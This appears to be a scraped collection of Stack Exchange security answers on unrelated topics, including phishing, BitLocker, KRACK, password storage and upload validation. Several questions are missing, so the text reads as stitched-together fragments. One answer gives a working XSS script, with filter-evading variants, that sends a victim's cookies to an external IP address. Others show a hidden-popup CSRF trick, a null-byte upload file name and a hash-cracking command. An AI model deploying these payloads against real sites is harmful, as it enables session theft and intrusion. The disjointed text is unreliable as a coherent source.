Network logons user’s credentials are authed to the destination system in order to access or remotely admin. These credentials types are not passsed to the service/system and therefore not stored on the remote system in memory as any of the above mentioned string types.


What is an electronic document in the context of encryption?

In this case, I would recommend not overthinking it.

The primary reason why it matters that it is an "electronic" document is that the document can be readily copied by electronic means.  In public key encryption, you typically transmit the public key over an electronic medium like the internet.  This means the document can be trivially copied and there is no concept of an "original" document being any more meaningful than a copy of the original.

The fact that it's electronic is not essential, but it is helpful for avoiding some potential mishaps if you think about things the wrong way.  For example, if I am crossing a border and want to prove my identity to a border patrol agent, I would show them my passport.  They'd look at it, verify it, and then hand it back to me.  In the case of an electronic document, because the content is just bytes, the normal pattern to prove your identity is that you give the officer a copy of your electronic document, and then they keep the copy.  Most of the time they dispose of it because they have no further use for it, but in theory they could keep it forever, and their copy is as good as my original.  Accordingly, the security proofs regarding electronic identity documents tend to take a different tack than security proofs regarding physical documents.


Find private key from private certificate

First of all, there are no private certificates. There are only private keys.

This is private key, but only in its encrypted form:

Key Attributes
    X509v3 Key Usage: 10
-----BEGIN ENCRYPTED PRIVATE KEY-----

You are able decrypt that and you will get your private key. A common tool for this is for example OpenSSL.


Can opening a blackmail/phishing email on outlook cause issues?

The answer to your question is not entirely straight forward.

When I say "opening" an email I mean clicking the subject and looking at it, nothing else, no loading of images, no clicking of links, nothing. Also I am assuming your email client won't automatically pull in linked content from emails;

Also I am presuming your account is not a local administrator, if it is... change it. You're facing a very high risk of full compromise if you use your computer under the privs of a local administrator since any malware would gain full control over it.

Can opening a phishing email cause issues? Yes it can, especially if your browser is vulnerable, but there could be other routes;
Does opening a phishing email usually trigger malware? Not if you're up to date and have your browser or email client configured securely;
Should you open a phishing email if you spot that on the subject alone? Definitely not;
Is it possible to meaningfully trigger an infection by simply clicking a link on a phishing email or by pulling in remote content automatically? Absolutely yes;

Concerning Chrome, it is not significantly better or worse security wise than firefox or opera, it's all relative to the current configuration, it being fully patched (have I mentioned how critical this is? it is critical).

Mobile email clients are usually safer for the simple reason that most attacks are still targeted at workstations. But this is changing.


What is this Polish IP doing on my internal WiFi?

The reason a computer would be listed in that section with an external IP is that the malicious device wants its traffic to look like it came from that other address.  This is commonly done as part of a DDOS of other places, because the false source IP causes all of the returned traffic to head to that other address (in cases like amplification attacks this can be very powerful).  Are you noticing anything like poor performance of the network overall?  Or a lot of registered traffic even though you are only browsing StackExchange?

There is possibly a compromised device on your network.  It may also be that the constant stream of malicious packets finally caused the router to mix up traffic to the point where it looked like some packet outbound had that source IP (no telling how well written that Netgear code is).  As a mitigation, (and if possible from that device) you could try blocking all traffic to/from that IP (if its the only one that has been noted to have malicious activity) and see if the strange behavior stops.


Good news! It looks like Gmail is HIPPA-compliant IF you are using a Google Apps domain and have requested a BAA from Google. A BAA is required for you to use external companies for such services for HIPPA compliance. Normal Gmail addresses are not HIPPA compliant AFAIK.

Your setup sounds OK - I would rather see some kind of changing password, which would at least offer protection against someone finding one password and having all voicemails.

If I were you, I'd rather create a HTTPS website to check your voicemail that can only be accessed via a VPN. While HTTPS is secure, if you put the information on a public web server, you open it up to other methods of attacks. If you have it available on your network only, then VPN into your network, someone will have to perform several attacks to get to the data you are trying to protect.

-- I'm sure you know how much the fines are for HIPPA failures. Make sure that you only use a Google Apps Gmail address with a BAA. It's worth the $50 per year for one account if you don't have it.


Is it possible to trick a person into going to a website, and running JavaScript, without them knowing? (no iframes)

This appears to be the same as CSRF, except that the payload is executed by JavaScript.

Because X-Frame-Options is set to prevent framing, the JavaScript can only be executed if the GET request is opened in a new window (or tab).

<img> tags won't work because any HTML or script returned in the response won't be interpreted by the browser.

If your JavaScript is in a separate file then <script src= could be used on a third party domain. If the script causes the request with side-effects to be made using absolute URLs only, then these could also trigger the CSRF vulnerability. However, note that the requests that this JavaScript makes could simply have the CSRF exploit applied to them directly, unless the JavaScript itself is dynamic and contains embedded CSRF tokens.

If the JavaScript uses relative URLs, then the vulnerability wouldn't be triggered. e.g. example.org embeds your script <script src="http//example.com/foo.js">, but because relative URLs are referenced, subsequent requests go to example.org instead of your example.com.

  That is, they can simply link to the site and if you click it then
  you'll perform the action, but you'll immediately realize you have
  because the browser shows you the tab has changed to W. Is there a way
  to do it so the victim does not realize?

To me, as said above, if there is a vulnerability in www.example.com/page.php?javascript_action=foo which causes some JavaScript to be executed which does action foo, and say this action is validated so that it can only be foo and other trusted functions (i.e. no eval) then you can probably create the action with side-effects that foo does simply by requesting that handler directly.

However, if this handler is itself protected by CSRF controls (e.g. page.php contains an anti CSRF token) then you will have to open the page in plain sight, but you could do something sneaky like open a popup/popunder window, and immediately close the page before the victim realises:

<script>
var foo;

function bar() {
  foo.close();
}

foo = window.open('http://www.example.com/page.php?javascript_action=foo');
setTimeout(bar, 3000);
</script>

Note that the above will usually trigger the browser's popup blocker (if enabled) - it is just an example to explain my point.


With Internet Explorer, for this kind of job, you are supposed to use the CertEnroll API (in pre-Vista Windows, this was called XEnroll); it can be used from Javascript. This implies Javascript to detect the type of browser.
Microsoft says that lack of support for <keygen> is "by design".


Saving connection parameters in an RDP file

Aside from real people actively using your computer via physical access or remote administration: It is likely that a malicious software, which is able to read the saved password, has sufficient possibilities to read the password from the connection dialog as you type it in.

This approach is likely a bit more work for the author of the malicious software and it won't allow access to old unused RDP connections through.


The important point is to work out who should handle the keys. Without multiple encryption, then there must be, upon encryption and decryption, a system that at least transiently learns all the keys. For instance, if the "master key" and "user key" are concatenated (your "method 3"), then both keys are present simultaneously in the RAM of the computer that uses the concatenation to encrypt or decrypt.

If that is not a problem, then the general case is Shamir's Secret Sharing: the secret value (the actual encryption key) is split into n shares, such that any t shares are sufficient to rebuild the secret, but t-1 shares yield no information whatsoever. In your situation, n = t = 2; the sharing algorithm is then mostly a XOR of the two shares (the user key and the master key), which corresponds to what @rossum suggested as a comment.

On the other hand, if you want to avoid having any system learning both keys at any time, then you will need to use multiple encryption. If the data is encrypted by the user first, then by the bank, then decryption will be done in reverse order; the user will not learn the bank key, the bank will not learn the user key, and the bank will not learn the cleartext data either.


Is string concatenation vulnerable to null character in aspx?

In a file upload mechanism a few things should always be considered to be checked, basic checking on file extensions only is not sufficient enough in my opinion.

File header checking: Read the first few bytes of the file and determine if it is an image or not.
Convert the image: If step 1 is successful, convert the image to a format other than the uploaded format. This is to delete possible malicious code in images.

As far as your question regarding nullbyte injection: Besides 0x00, %00 can also be used in file names, for example:

/path/evil.aspx%00.jpg

I doubt this will work in ASPX but depends on your configuration.


This is a common issue, and the one thing that you have to keep in mind is that InfoSec serves the company. Your management team runs the company, so their needs are the company's needs.

Your job is to educate, educate, educate, not only with technical detail, but with financial impact and risk analysis. But, in the end, it's their call.

If they still decide to maintain local admin rights, then you need to have a plan in place to mitigate the risks of that happening, and educate them on the costs and risks of that plan.

It can be easy, as technical folks, to preach the "best practice", but the company's interests need to be served, even if you don't agree with it. Educate, build relationships, and create backup plans, but in the end it is the management's call.


are older wpa_supplicant versions vulnerable to KRACK?

From the published paper by Mathy Vanhoef (emphasis mine):

  Our key reinstallation attack against the 4-way handshake uncovered
  special behavior in wpa_supplicant. First, version 2.3 and
  lower are vulnerable to our attacks without unexpected side-effects.
  However, we found that version 2.4 and 2.5 install an all-zero encryption
  key (TK) when receiving a retransmitted message 3.

Based on this and the widespread nature of the flaw in 802.11i client implementation, I would tend to believe they are vulnerable. However I personally haven't seen any actual tests for those particular versions or reliable documentation other than that statement.


Can you crack a Mailinator "Alternate Inbox Name?"

Perhaps... and perhaps not. The author of Mailinator is a pretty smart guy, and I imagine he did this right. But he's not publishing his source code, so you never know for certain.

For example, if here were to pad the original mailbox name to the appropriate size, encrypt using an undisclosed key, and then text-encode the result, he could come up with a reversible encoding that would be very difficult to break.

Easier still, it could simply refer to some internal key; a filesystem path or a database index or some other simple lookup reference that only has meaning if you're running that software. This would be completely irreversible without getting access to the server installation.

That's not to say this is what he's doing, but sufficient security is possible in this scenario.


I agree with you that this would be convenient but I suppose there could be a few motivations not to do this.

Issues from the user perspective:

Firstly in the case of the reply to the text message - This most likely has a monetary impact. Where I live, and I can only assume most other countries, text messages are charged for. The cost might be insignificant but the service provider cannot assume you have money to be able to reply on that text message.

In the case of the email - most of these emails are sent from addresses or through bulk mail providers that don't even allow replies on those emails (the motivation therefore partly security based I guess). This practice would obviously make it impossible to reply with a confirmation.

Issues from the service providers perspective:

If they allow users to respond via email or text message they need to parse those responses which could be a lot of work and consume very valuable computational resources. Anybody who has ever tried to parse responses in emails will know that headers get modified or lost and body contents can easily change,let alone character encoding issues giving you headaches. Same with test messages, although to a lesser extent. Those text message replies will have to be parsed and sanitized at the expense of the service provider.

Emails are trusted by users but are unfortunately inherently insecure. Please note I'm not saying all email is insecure but the amount of SMTP servers that do not employ some sort of transport layer security is shocking. It is also known that some very basic SMTP authentication protocols like CRAM-MD5 are not very secure. All this means that emails can easily be modified during transport by a MItM, making it extremely difficult for the service provider to trust those responses. They would much rather you get the code, copy it and go and paste it in a nice secure form on their HTTPS site - a lot less work for them. This is of course most relevant with high value and critical processes like a response to authorize a Bitcoin transaction from an online wallet.

What I have however seen from certain sites is an email with a link that points to a secure site with a query string at the end containing my reference number. Clicking on that link then posts to the secure site and submits your code. This works great if you assume that the link was not somehow altered.

I suppose the best solution would be to provide a range of choices since there are alternative options on how you would like to respond on that notification, but that would entail that the website do more work - which they don't always like.


What are the key steps in threat modeling as a user willing to stay anonymous?

The EFF's "Surveillance Self Defense" is a good place to start.  https://ssd.eff.org/en

Over time leaks and mistakes are likely; generating a new identity regularly may make sense if you think that you'll come under intense scrutiny.  You reduce linkability between the things you've said, and thus reduce tracability.

Overestimating threats is never a good practice. It leads you to over-invest in mitigations and defenses.  However, it may be better than under-estimation.

The best approach is the one that works for you.


Is HTTPS (and other asymmetric security protocols) still secure when using a VPN?

Yes, a https connection (TLS/SSL) will be secure against snooping by your VPN provider, although they will know the IP address of the website you're connected to, so they will be able to run reverse DNS and likely at least figure out what domain you went to.


Is bitlocker without a PIN as good as having no hard disk encryption at all?

Am I right in assuming that not enabling PIN; is a self decryption device?

Yes you're right in that without the PIN  enabled decryption will occur automatically without any user input/authentication required.
However this does not equal having no hard disk encryption at all. The data on the disk is still encrypted which means that if an attacker physically removes the disk to read it or boots onto another OS (from a USB), they will not be able to read the data on the disk. This could deter casual attackers with limited technical abilities.
More sophisticated attackers may be able to recover the encryption keys by other methods and thus will be able to decrypt the disk. This may be accomplished by first booting the operating system and then extracting the keys from memory. Alternatively the may attempt to extract the keys directly from the TPM chip. Or they might attempt to exploit unpatched vulnerabilities in the OS or services that launch on startup (like RDP or SMB) after booting to achieve Remote Code Execution on the machine.


FTP client development - firewall issues

FTP is a protocol which uses one TCP connection for control and then for each data transfer (i.e. files, directory listing) it uses new data connections on dynamically allocated ports. This makes it a nightmare for firewalls. You have the following options:

Disable firewall (works, but bad)
Allow all outgoing connections and switch your FTP client to passive mode (how this is done is off-topic here): This way the client tries to connect to the server for data transfer instead the server connecting to the client.
Allow incoming connections from port 20 (ftp-data) to any inside ports and switch your FTP client to active mode: A proper FTP server will originate all FTP data connections from port 20.
Use some kind of FTP helper with your firewall. Such helpers use deep inspection of the control connection to find out which ports need to be allocated for the data connections and then dynamically add the necessary rules to the firewall. Note that not all firewalls have such helpers and that these helpers don't work if the control connection is encrypted (FTPS).
Use another protocol instead of FTP, i.e. SSH/SCP/SFTP don't have these problems.


No. you cannot trick the browser into redirecting.

You can write a web page that reads query params and redirects the user.

But this is a stack overflow questions those are stack overflow answers.

If you do trick a browser into following a redirect like you describe, you should report it to the browser's security team to fix it.


Will it be a crime if I post data into someone's website using cURL?

Most browsers have developer tools which allow you to monitor all HTTP(S) requests sent by the browser, including an option to copy the requests as a cURL command. If you execute the request via cURL, it's indistinguishable from a 'real' browser request. Therefore, that is certainly not a crime.

If you're looping cURL requests, you're essentially trying to perform a Denial of Service attack; many countries/states have laws which state that this is a crime. Though 100 requests are not likely to constitute a successful attack, all it might do is fill the inbox of the mail account which receives completed forms.


How should multiple system-generated, centrally managed passwords be distributed securely (if at all)?

I'll give it a go:
Distribution
My suggestion would be to leave the distribution system the way it is, especially since there doesn't seem to be a more secure method of safely distributing passwords.  If you truly wish to distribute the passwords using a web server, I would recommend supplying each user with a time limited unique link.  The user enters the link into a browser, and is logged in but is required to enter a new password before normal access can continue.  This simulates a typical reset password exchange through email, except the one time unique link is printed on paper rather than sent through email.
Unique Password Creation
My suggestion would be to create a simple table in your database of choice that has two columns: username and password.
I use postgresql, but as far as I know, all database systems have a unique qualifier for a column constraint.  You can either have a random password generator output passwords and check them against the current ones in the database... or you can issue a UUID as a password.  A UUID is guaranteed to be unique, and if combined with the weblink idea in the distribution section would only need to be entered once.  In any case, the random password generator combined with a list of current passwords is fairly easy to implement and automate.  Furthermore, the initial password table can easily be exported or even directly linked to the web app database's password table.
Administration Changes
If implementing a database table with automated random password generator, the web app admin simply needs to enter in a new username and the system will create a password.  If implementing a unique weblink method of initial password distribution, the paper distribution will only change in content... instead of a password, there will be a link.
Legal issues and dealing with minors
In some localities, there are specific laws detailing information/computing systems and minors.  If you are not aware of the laws in your area, I strongly suggest finding out if running a system that may include Personally Identifiable Information (PII) of minors has any special security and/or reporting/record keeping implications.
Questions
Does any of this make sense? Helpful? or just confusing?
Addendum
Upon further consideration, I realize that I left out some specific security concerns as well as a few suggestions for implementation.
Database Password Store
It is poor security practice to store plaintext passwords.  There are at least two decent choices when storing passwords in a database:

Store a one way salted hash instead of the password.
Store the plain text password in an encrypted column using the data owner's public key.

In this particular use case, of centrally generated and unchangeable passwords, I would recommend storing the passwords in an encrypted column in a separate database and separate system from the web application.  Of course, the web application's password column should contain the salted hash of the password as per usual security consideration.  Further, exporting a column of passwords in salted and hashed form as a csv vector or table is easily automated with the only administration requirement of the data owner entering in the private key's passphrase.
If the weblink idea is utilized, then there is no need to track plain text passwords, as the admin would never generate one.  But then, the admin would not have a record of the plaintext password.  However, in most cases, access to the actual plaintext password is unnecessary.
Data Growth Rate
Per description of your use case, it is assumed that your data store will grow slowly or not at all.  It seems that you have a rolling enrollment in the application with a static total number of users over time plus or minus some buffer.  If true, then scalability considerations beyond the current number of users are not applicable.
Further Reading

PSQL Crypto Reference
Children's Internet Protection Act


Is it safer to compile open source code vs simply running the binary?

Most of the time, it's only just barely safer, and sometimes it's less safe.

  Under what conditions can I simply download the exe(cutable?)

Signed packages from major distributions are built on the Distribution's build servers. In that regard, it's almost certainly best to use the packaging system.

  Are there times when I should I compile the binary from source?

Generally, a source control repository such as git makes for a non-reputable history that can be observed as opposed to the binary output which could be separately altered. In that regard, source code is safer, but only if you're actually reviewing it. It is possible for malicious binaries to be put in place, or to have the packaging developer's system compromised with a malicious compiler, but recorded instances of the former are rare, and the latter all but unheard of.

Compiling can expose you to unknown bugs as well. If you use different compiler options, you might introduce a bug that isn't seen in the regularly distributed binary. There are plenty of cases of machine-dependent flaws or changes in behavior due to different compiler flags. In that regard, compiling from source could be less safe.

The ultimate answer here comes down to how much you feel it's worth in the form of time you're willing to spend to verify the source of the binary or source code.


Token based approach to authentication over SSL Rest API - refresh tokens

Sounds like a good plan. Some things to watch out for are

Be sure to store password securely on server. There are lots of references on that. Good strategies will likely involve salt and bcrypt or PBKDF2.
Always use SSL. Best to restrict non-SSL via Web server if you can.
Use a secure random generator to get token.

That said, using your app server's authentication is likely the safest. Existing security systems are generally considered more robust than new ones.


X509 mutual authentication: is there a security flaw?

If the check you outline above is the only check made for authentication, then there are some major problems.

The check only tests the server's cert given to the client. The server never checks the client's cert. So no mutual authentication.
The client never has to prove knowledge of their private key
The server never has to prove knowledge of their private key

Furthermore, as pointed out by ewanm89, there are issues if the initial cert signing is not done over a secure channel.


A New Blog Post is showing on top of my home page from Unknown user cyberanon - How to Remove the post?

This can be all sorts of things.
As your blog uses a MySQL database, check if the unwanted post is in there. If it is, and no-one authorized placed it there, you might have a breach somewhere.

Make sure that the database (phpMyAdmin?) and controlpanel of the blog are not using default or easy login credentials (e.g 'root' without password). Also check that visitors can not create new blog posts.

If the post is on the homepage but not in the database, try checking the source files which generate this page. There might be something in there.

Furthermore, using SSL is not making a website secure. It secures (encrypts) the connection between a visitor (client) and the webserver. It does not secure the application itself against malicious actors.

For more help please give us some more information, is the blog running on a known platform (e.g WordPress) or custom build? Can guests place new content or comments?


SSL Server Allows Anonymous Authentication Vulnerability

The issue of Anonymous Authentication in SSL means that the server is accepting ciphers which don't require authentication of the server. This authentication is usually done by checking the servers certificate. Using a cipher with anonymous authentication means that no authentication of the server will be done inside the TLS handshake and thus the connection is open for man in the middle attacks.

It is unknown which kind of clients you have. But if you have just browsers as clients then you could simply disable anonymous authentication in the server since browsers don't use these ciphers anyway.

For any other clients you would actually have a look at the specific client and if it uses anonymous authentication. But most clients will also not use anonymous authentication by default so the chances are high that no client will be affected when switching these insecure ciphers off.


Intercept traffic other than port 80 and 443 on burp suite

In the screenshots below, I've assumed you want to intercept traffic at port 8080 (which is not the default port for the http protocol).

Start burpsuite and enable it to start intercepting network traffic from your machine by clicking on the "intercept"button as shown in the screenshot here:

Next, configure your browser to use burpsuite as the network proxy, see the config for Firefox, the configuration is similar for other browsers:

If you have traffic flowing via some other port number then change to it from 8080. Otherwise, you need to use the port no which you have chosen. In case you need the proxy for other protocols such as intercepting SSL traffic, then enable proxy for other protocols too.

As soon as you change the proxy config, all network traffic will start appearing in burpsuite for interception and modifications.


I agree with @BBerastegui, whenever you have an input filter, the first thing you want to do is load an external script so that you are not restricted anymore.

I'll assume that that's not possible (eg because of a CSP). You can still steal the cookie or perform other actions.

  Second, whenever there is a ' symbol, any comment after it is ignored.

That's because you are now in a JavaScript string context. What you want to do is first close the string context with ' and then add the comment. You can then concat the next part of the string with +.

  First off, the slashes in http:// are interpreted as comments

Are you sure about that? They shouldn't be, as they are in a JavaScript string context where they aren't interpreted as comments. But your code isn't working because some of the quotes are off and you are not concatenating your strings correctly.

This works for me:

<script>document.location=/*
*/'http://12.16'/*
*/+'9.123.929:80/1.p'/*
*/+'hp?c='/*
*/+document.cookie;/*
*/</script>

  the words "document" and "69" must be separated since the site's filter thinks they are inappropriate

It seems that you can't do that. I tested this with Chrome and Firefox, and neither allow splitting up the document keyword with comments.

What you can do is not use the string document at all though:

<script>
x=window['docu' + 'ment'];
alert(x.location);
</script>

Which gives you:

<script>x=window['docu'/*
*/ + 'ment'];/*
*/x.location=/*
*/'http://12.16'/*
*/+'9.123.929:80/1.p'/*
*/+'hp?c='/*
*/+x.cookie;/*
*/</script>


Remote Administrative Access to a server, KVM over IP or HP iLo?

KVM over IP is simply access to physical computer console (screen, keyboard, mouse, USB etc.).

iLO is a kind of remote control interface, using which administrator can control the server below the operating system layer, and even below the physical console, BIOS/UEFI etc.

If you give iLO access to someone, that person will have the complete control over the server. If your customer needs to eg. install his own operating system, it would be completely enough to give him KVM access.


Should a 2FA recovery key be stored along with a password?

For your application, I would suggest, storing the recovery keys on plain paper that you put inside a home safe. Thats enough security. They rather steal the phone or 2FA token from you if they really want your account. And physical attacks are very rare.
Actually, you dont even need to put them in a safe. You can put them in the desk drawer at home.

But do not store them inside the password manager, since theres a too high risk a trojan will compromise the codes. Once you have unlocked the password manager with the master password, any trojan can compromise any password in your password manager.


Is it possible to protect a key from an attacker with physical access?

whose implementation we want to keep secret

This is usually an indicator that your scheme is insecure. The implementation itself should not need to be secret. The secret should be key material, not the alghorithm or implementation itself. This all falls under Kerckhoffs's principle.

  Now the question is, can we ever realistically hope to prevent an attacker from gaining access to the key?

Absolutely not. I can think of at least five attacks off the top of my head that'd break this, starting with dumping all memory via PCI-e DMA.

As an example of how utterly impossible it is to keep keys hidden away when an attacker has physical access, look at the games console homebrew scene. The Xbox 360 and PS3 had a whole range of security controls built right into the CPU's silicon, with on-die secret key storage, isolated RAM for secure execution units, cryptographic chain-of-trust from the bootloader all the way to the applications (games), and all sorts of other clever controls... and it only took 12 months for people to break each platform (in the case of the PS3 it was 12 months after Sony killed Linux support). Physical access means the attacker will ultimately make it do as they wish and gain access to every last bit of data on the device.

  I'm saying that to secure this system, A or B needs to somehow be connected to an external validation source C, that the attacker does NOT have phyiscal access to. Is this correct?

I'm not sure how "validation" applies here, but essentially you need to keep f(x) from ever being leaked, so it must be stored and executed on a system which the user (or an attacker) does not have access to.

You'll also need to consider the effects of an attacker employing your remote service as an oracle, which it essentially is. As an example, the PS3's hard disk was encrypted and nobody could access the decryption keys (these were on-die and only accessed from an isolated execution unit) but, due to a flaw in the encryption process - they used the same key and IV for every sector - you could take a snapshot of the disk, upload a movie to the PS3, look for the big block of sectors that changed, then overwrite those sectors with any others from the disk (say, the operating system itself), boot the PS3 back up, download the movie again, and the system decrypts the disk sectors (without you ever knowing what the key was!) and gives you the original plaintext back. Homebrew devs used this oracle attack to decrypt data without ever needing to know what the key was. You should consider similar attacks against your system.


You gain unauthorized shell access, and THEN you wonder if gathering chat logs is legal? :) I guess I'm not sure what you are asking. You should already have permission to attempt to breach a computer before you even fire up Metasploit, so legality is determined long before your post modules.

From a penetration test perspective, if the client is looking for certain files or proofs from a host, then those file target are within scope. If the files you are scooping up contain clues that help you penetrate further, then they could also be in scope (as long as not specifically out-of-scope).


How to check whether firewall allows traffic on specific port but not listening on the port

The easiest solution without having to fire up your server application would be to use netcat.

user@1.2.3.4 ~$ nc -vl 1234
Connection from 9.8.7.6 port 1234 [tcp/*] accepted

user@9.8.7.6 ~$ nc 1.2.3.4 1234

Please forgive me if this does not answer your question as this does create a listening socket. I just wanted to share this as an option.


Samsung SSD 840/850 EVO with DiskCryptor?

DiskCryptor will likely not benefit from the hardware FDE stuff on the SSD. The best information I can find is that the drive always encrypts, it's just a question of whether or not the key is password protected, as it should be to actually be relevant.

If your BIOS/EFI supports it, you can actually enable it there:
Security > Password on boot > HDD Password (Will differ depending on the BIOS)
This should then "just work".

EDIT: There's some really interesting discussion here: http://www.sevenforums.com/hardware-devices/314650-my-review-samsung-840-evo-ssd-full-drive-encryption.html


Code, Data and Passwd encrypted? sqlplus $USER/$PASSWORD@$ORACLE_REMOTE_SID

It depends on your configuration. Oracle supports TLS as part of its protocol and data drivers, so it can authenticate and communicate entirely over TLS (SSL).

Whether or not this is enabled by default depends on:

Which version of Oracle DBMS you're using.
Which data driver you're using.
The version of the data driver.

I'm not sure whether it's possible to authenticate via TLS and do the rest of the communication in plaintext, but I doubt it - it wouldn't be very secure.


Is it safe to enable SSLv2 ClientHello support?

In light of the recent DROWN vulnerability, it's now critical you disable SSLv2 protocols on any server that might give the attacker the possibility to do handshakes. It's now considered not only insecure, but highly critical since it can compromise other servers using the same certificate. More information here and here.

SSLv2Hello is secure against it, and can be used since it does not actually make complete handshake but rather negotiate the protocol on which to be made the handshake.


Is sending an object created via intent.getSerializableExtra to handler.postDelayed leading to Code Execution?

I hope this is some automatically decompiled code because it's horrendous to read.

Since the Runnable object is retrieved from a key/value map (the intent object) you could force a custom runnable into the intent map at the specific key "EXTRA_BUY_TAB_START_POSITION_EXPLORE" so that it would be run after 500ms.

In you code you need to clarify :

What is aVar2 ?
What does the class "e" do ?
Your d.a object is never used in your sample

I hope that will lead you to the correct path.


How does t-mobile's secureauthentication Twitter app work?

This is the standard OAuth flow that third-party applications use to allow Twitter accounts to log into their site, and optionally have write access to the account, though in this case T-Mobile hasn't requested this permission as they have no good reason to.

What T-Mobile is most likely doing is that they use this to make sure you are the owner of the Twitter account (as opposed to just sending a link via direct messages which can be seen by anyone if it accidentally leaks) and finally associate the Twitter account with your T-Mobile user model in their CRM system.


Difference between free ssl and non-free ssl?

Both free and non-free SSL will encrypt your connection, it's not because you pay less that it offers any less "encryption" features.


Generally yes, if you have enough time. If you know how long or in what format the salt is, it would help you. But the method is brute-force, as the any other hash-reversal:

oclHashcat -m=0 b4fbb742bc2a24bc033dbfb4f4582e08 -a=3 userpassword?1?2?2?2?2?2?2

I didn't test that, but documentation is certainly good place to start.


Should I trust and play every embedded video on Facebook?

Facebook embeds videos in the News Feed and Timeline by using previous knowledge of the way each site supports embedding videos. That means Facebook tries to "understand" the page to which you're linking, and then attempts to embed it; the user doesn't actually control how the embedding happens, ie. when you see an embedded video on Facebook, you can be sure it's embedded in the way Facebook intends it to be embedded.

The key here is know to where the link is leading: Notice in the domain name in this Facebook post

That field cannot be manipulated by the poster without actually changing the domain to which the link is leading. So unless you're being MiTMed, when you see a video embedded that way in Facebook, and you see www.youtube.com as the target domain, then you can be relatively sure that clicking the thumbnail will load the genuine content from YouTube. Same goes for other video providers (Vimeo, DailyMotion, etc.)

However, beware of the rouge Facebook apps that are able to embed videos and trick you into installing malware after you click on the thumbnail. You'll notice that app-embedded videos don't have that domain field.

In any case, app or not, video or not, always be cautious whenever you click on anything

Update: I've just noticed a different Facebook behaviour which is also legitimate and it doesn't involve the domain field mentioned earlier.

Sometimes when the video is shared from within YouTube to your Facebook account, the domain field will not appear in the post, but it will explicitly say "Via YouTube". So also watch for this, it can also be "Via DailyMotion", or "Via Vimeo", etc.


Puzzle: network intrusion or OpenDNS/Disconnect.me collision?

The problem here isn't about information security as in "someone hacking my network", but information security as in "information leaking unexpectedly from one user to another".

And it is caused by an interaction between OpenDNS and Disconnect.me VPN. I assume other similar-acting VPNs would have the same interaction.

What OpenDNS does

If you run OpenDNS, it learns to recognize your IP address, and it uses that IP address to apply your filtering rules to all of your traffic. And if you run the OpenDNS IP Updater utility (as recommended), the utility will inform OpenDNS's servers if it sees your network's external IP address change, which can happen to any network whose provider assigns IPs dynamically.

OpenDNS x Disconnect.me VPN

Now throw Disconnect.me's VPN into the mix. While the Disconnect.me VPN runs, it temporarily assigns your computer a new IP address. This is the address of a Disconnect.me VPN server, and the address is shared by other Disconnect.me users. The OpenDNS Updater sees this new IP address and tells OpenDNS's servers to associate it with your account.

Oops.

Why that's a problem

Now any Disconnect.me user who is also running OpenDNS, and who happens to go through the same Disconnect.me server, will have all of their traffic filtered according to your OpenDNS rules. Worse, if they request that their admin unblock a site, you'll receive that request by email instead of their admin receiving it.

When we had this configuration in place, OpenDNS servers showed our traffic stats increase by nearly 1,000% (2,400 requests per day vs. 20,000 requests per day). This was caused by other user's traffic being routed through our OpenDNS account for filtering. If one of those users hadn't requested access to a blocked site, we might not have recognized the problem for a long time.

Solution

Don't use Disconnect.me VPN on a computer that's running the OpenDNS Updater utility.

I suspect Disconnect.me VPN could also resolve this problem by providing its own DNS lookup service rather than running through the computer's default DNS service. (I'll raise this possibility with them.)


Do HIPAA Security Officers face personal liability for breaches?

Good question! But there's not a solid answer I'm afraid. As with most of these cases, it depends case by case, but there are a few things to consider.

First of all if there has been some for of negligence than an individual can be personally liable.

However I don't think that an HIPAA Security officer is any different than any other person responsible for the security of sensitive personal information; usually these cases don't make it to court.


Is there an alternative to google blocked searches?

If continuing with regular search queries, you need to change your IP address, as simple as this. Users using proxies in the cloud often experience such issue, just because even though they have their unique IP addresses, somebody on the same subnet is doing a large volume of Google queries. I'm not sure if this was the case for you, but if you used a cloud provider to proxy your queries, this happens very often.

The wording of your question implies that you automate your queries with a program. Or you are the one that makes too many requests. In this case you'd be better to request a token from Google and use their APIs instead, where you can't get blocked. This is the API page. You can make up to 10K queries per day.


Encrypt less than one byte of data quickly and securely

You would want to use an authenticated stream cipher, allowing you to encrypt data with individual bit granularity. I would recommend either AES-GCM if you have AES-NI or ChaCha20-poly1305 otherwise. Key derivation is an entirely different concept and which is done separately, before encryption begins.


How do I get a count of unique nested URLs in an web application?

You can use the copy links function in Burp Suite. Select the top level domain and copy links


WhatsApp end-to-end encryption verification

If you feel confident enough that you can recognize his or her voice over the phone, you can simply compare the security code (the long string of numbers) over the phone. Or via a video call, which is even harder (if not impossible) to fake for a potential man in the middle. Or if you already confirmed PGP keys, you can exchange the security code (or the QR code) via e-mails using PGP signatures.


Risk assessment scope and critical assets

Hmmm. I think I am slightly concerned about the way in which your company is thinking about what's on what side of the critical vs. less-than-critical line here.  Because (from the way you put it) it appears that it's taking a very sort-of supposedly "traditionalist', tangible equipment-centric, location-centric approach to determining what is and is not critical in terms of risk potential. And, in my view, (yes, a slight touch of opinion leaking in here, maybe) that's a tendency you want to correct early on.

There are really two types of things* you need to protect in the critical category: critical information, and critical systems. To put it briefly but clumsily, the thing about critical information is that information doesn't just exist or move to "where it is supposed to be". There's no way you can just say "All critical information anywhere in our networks, get into our datacenter, now!" and have it work. You have to go out and find vital information/data that is hugely important and that your company absolutely must protect. You have to go out to where it's created inside your company or where it comes into your company and see where that is.  You need to see whom it flows to and to where. And then see where it eventually winds up and is stored (likely that datacenter, finally.) And then, once you determine what the critical information really is and where it is and where it flows then you can start to do risk assessment  and all the other fun bureaucratic planning and such.

But first you need to go out in the field and figure out where the critical info actually is. Not just say assess stuff at Location X first because Well, the important stuff is theoretically supposed to be there, and therefore it is all there. (And that's particularly not a great approach to take in this era of ubiquitous smartphone use and ever increasing cloud usage, sometimes with pre-approval from centralized management and sometimes without.)

As for critical systems, I think much of the same analysis holds.  Looking after risks related to the expensive servers and networking equipment in your datacenter is certainly a good & necessary thing to do, but a reasonable person might conclude that looking at the risks relevant to the smartphones your company's R & D executives carry around everyday are even more deserving of being labeled "critical".

Anyway, my two cents. Cheers.


Is changing image's extension prone to error for browsers?

As @Rook said you shouldn't change the extension as it will cause problems. He also pointed out that the metadata could contain malicious data, which is very true. So here are the steps you should follow, roughly:

Check file size - Is it massive enough to break the web server through DoS?
Check extension - Is it a known extension that you support, e.g. jpg, png, gif
If extension is good, check file header - Even though it says jpg, it could contain GIF/PNG/EXE header, etc
Strip metadata from file - Don't even read it, just delete it
Convert to format of your choice if you want it in a given format

In the event that any of the above checks fail you just stop the process and delete the file and return a simple error message explaining that the image is no good.


Should passwords and challenge questions & answers be migrated?

